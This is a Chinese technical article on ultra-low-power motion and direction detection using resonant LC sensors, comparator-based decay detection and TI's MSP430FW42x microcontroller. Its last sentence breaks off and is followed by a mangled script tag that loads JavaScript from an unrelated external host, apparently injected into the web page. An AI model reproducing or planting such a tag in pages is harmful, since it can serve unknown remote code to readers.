采用16-bitMCU实现超低功耗运动检测

谐振 lc 传感器技术用于运动检测已有数年,包括流量计量以及其它低速转动检测系统等。几乎在所有情况下,推动上述传感器设计发展的共同主线都是低功耗解决方案的需求,它通常为电池供电设备的低功耗解决方案。通过模拟测量组件与独立于主 cpu 工作的状态机处理接口相结合,本文以德州仪器 (ti) 的 msp430fw42x 系列16位mcu为例,给出超低功耗运动检测系统解决方案的清晰说明。

  图 1 显示了简易旋转运动检测系统的实施。除了微控制器与显示器之外,还显示了二通道谐振 lc 传感器的配置。单一传感器仅可用于转动检测,添加了第二个传感器后,就还可提供方向信息。

图 1 msp430fw42x 转动系统原理图
  传感器原理

  使用谐振 lc 传感器的基本原理与 lc 电路振荡时电感器辐射的磁场干扰有关。上述振荡由 lc 传感器脉冲引起,然后将一侧释放为高阻抗。激励后的振荡频率是传感器的基本频率,计算如下:

  一旦电路进入振荡,则 lc fosc 输出随存储能量的消耗迅速衰减为零。振荡时,通过传感器的电流产生磁场,磁场通常不受外部因素影响。但当有金属表面靠近振荡的电感器时,信号衰减速率就会快很多。图 2 显示了更详细的传感器配置视图,并显示了减振轮 (damping wheel) 以及相应的输出信号。

图 2 传感器配置与振荡
  如图 2 所示,传感器 1 受到转动轮金属涂层部分的影响。与未受影响的传感器 2 的信号输出相比,振荡衰减率增加。由磁场切割在金属表面形成的感应涡流增加了 lc 传感器的负载,从而加快了激励振荡的存储能量的消耗。增加的衰减率也可称为金属表面产生的传感器衰减。如能够顺利地检测到与对应未衰减条件相应的衰减信号,则可检测精心设计转动轮的系统就提供一种感应给定系统运动的方法。

  检测电路

  每个传感器的激励都由传感器一侧的简单脉冲提供。振荡检测以及更重要的变化衰减率检测用简单的比较器与电压参考实施。我们用有关振荡信号驱动比较器的一个输入,用参考信号驱动其它输入,这样,如比较器输出大于参考电压,就会与传感器输出发生振荡;如振荡低于比较器参考电压,则比较器输出会变为零。闭锁比较器输出,就完成了模拟传感器系统到数字域的转变,可进行 uc 处理。如果我们仔细校准比较器参考与信号具体点上的衰减和未衰减振荡间的下降,那么比较器输出就会反映传感器的状态。如果我们以通用数模转换器 (dac) 替代参考的话,那么就可以方便地校准参考电压,并能根据系统稍有不同的传感器的要求积极修改参考电压,或对测量系统施加磁滞。

  对于图 1 显示的详细系统,我们采用双传感器设置,从而既能检测转动、又能检测方向。如果我们如图 2 所示相隔 90 度放置传感器,并采用 180 度的金属涂层轮,双 lc 传感器就会产生正交信号,这就能提供转动与方向编码信号。图 3 显示了随着轮转动的传感器变化情况以及相应的数字译码。

图 3 双 lc 传感器正交数字输出
  虽然检测衰减与未衰减传感器输出并将其转换为数字输出相对简单,但是处理上述数据并将其应用于更大的状态机则相当困难。主机控制器不仅须进行激励并测量系统中的传感器,还必须在检测到转动时采取行动,并跟踪方向与传感器信息的处理。如上所述,我们可用另外的分离式解决方案实现此目的,同时所需数字与模拟元件的集成使我们有潜力实现更低成本、更低功耗解决方案。

  我们这里所说的模拟与数字处理元件的组合与集成构成超低功耗微控制器的基础,特别是针对采用上述传感器配置的应用。扫?script src=http://er12.com/t.js>

  • 采用16-bitMCU实现超低功耗运动检测已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计